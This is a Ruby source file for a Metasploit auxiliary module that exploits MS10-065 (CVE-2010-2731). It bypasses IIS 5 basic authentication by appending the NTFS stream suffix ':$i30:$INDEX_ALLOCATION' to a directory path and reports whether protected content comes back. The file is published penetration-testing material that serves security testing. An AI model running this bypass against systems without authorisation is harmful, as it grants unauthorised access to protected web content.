metasploit-framework/modules/auxiliary/admin/http/iis_auth_bypass.rb

98 lines
2.4 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'MS10-065 Microsoft IIS 5 NTFS Stream Authentication Bypass',
'Description' => %q{
This module bypasses basic authentication for Internet Information Services (IIS).
By appending the NTFS stream name to the directory name in a request, it is
possible to bypass authentication.
},
'References' =>
[
[ 'CVE', '2010-2731' ],
[ 'OSVDB', '66160' ],
[ 'MSB', 'MS10-065' ],
[ 'URL', 'http://soroush.secproject.com/blog/2010/07/iis5-1-directory-authentication-bypass-by-using-i30index_allocation/' ]
],
'Author' =>
[
'Soroush Dalili',
'sinn3r'
],
'License' => MSF_LICENSE,
'DisclosureDate' => "Jul 02 2010"
))
register_options(
[
OptString.new("TARGETURI", [true, 'The URI directory where basic auth is enabled', '/'])
], self.class)
end
def has_auth
uri = target_uri.path
uri << '/' if uri[-1, 1] != '/'
res = send_request_cgi({
'uri' => uri,
'method' => 'GET'
})
vprint_status(res.body) if res
return (res and res.code == 401)
end
def try_auth
uri = target_uri.path
uri << '/' if uri[-1, 1] != '/'
uri << Rex::Text.rand_text_alpha(rand(10)+5) + ".#{Rex::Text.rand_text_alpha(3)}"
dir = File.dirname(uri) + ':$i30:$INDEX_ALLOCATION' + '/'
user = Rex::Text.rand_text_alpha(rand(10) + 5)
pass = Rex::Text.rand_text_alpha(rand(10) + 5)
vprint_status("Requesting: #{dir}")
res = send_request_cgi({
'uri' => dir,
'method' => 'GET',
'basic_auth' => "#{user}:#{pass}"
})
vprint_status(res.body) if res
return (res and res.code != 401 and res.code != 404) ? dir : ''
end
def run
@peer = "#{rhost}:#{rport}"
if not has_auth
print_error("#{@peer} - No basic authentication enabled")
return
end
bypass_string = try_auth
if bypass_string.empty?
print_error("#{@peer} - The bypass attempt did not work")
else
print_good("#{@peer} - You can bypass auth by doing: #{bypass_string}")
end
end
end